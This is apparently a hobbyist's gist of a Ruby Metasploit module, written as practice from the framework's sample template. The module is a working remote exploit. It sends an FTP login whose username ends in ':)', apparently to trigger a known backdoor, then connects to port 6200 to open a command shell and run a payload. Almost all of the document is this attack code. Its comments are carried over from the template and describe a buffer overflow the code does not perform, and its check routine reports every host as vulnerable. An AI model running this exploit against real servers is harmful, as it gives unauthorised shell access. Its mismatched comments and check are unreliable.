My first metasploit exploit

gistfile1.txt

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in an arbitrary TCP server.
#
###
class Metasploit4 < Msf::Exploit::Remote

	#
	# This exploit affects TCP servers, so we use the TCP client mixin.
	#
	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Sample Exploit',
			'Description'    => %q{
				This is just some practice code so I can learn how to metasploit.
			},
			'License'        => MSF_LICENSE,
			'Author'         => ['skape'],
			'References'     =>
				[
				],
			'Privileged'     => true,
			'Platform'       => [ 'unix' ],
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'    => 2000,
					'BadChars' => '',
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType'    => 'cmd_interact',
							'ConnectionType' => 'find'
						}
				},
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DisclosureDate' => "Apr 1 2013",
			'DefaultTarget'  => 0))

		register_options([ Opt::RPORT(21) ], self.class)

	end

	#
	# The sample exploit just indicates that the remote host is always
	# vulnerable.
	#
	def check
		Exploit::CheckCode::Vulnerable
	end

	#
	# The exploit method connects to the remote service and sends 1024 random bytes
	# followed by the fake return address and then the payload.
	#
	def exploit
		print_status("Connecting to remote server on port 21.")
		connect

		banner = sock.get_once(-1, 30).to_s
		print_status("Banner: " + banner)

		sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
		resp = sock.get_once(-1, 30).to_s
		sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
		
		nsock = self.connect(false, {"RPORT" => 6200}) rescue nil
		if nsock 
			print_good("Shell has been spawned.")
			nsock.put("nohup " + payload.encoded + " >/dev/null 2>&1")
			handler(nsock)
			return
		else 
			print_error("Shell not spawned. u.u")
			disconnect
			return
		end

		disconnect
		
	end

end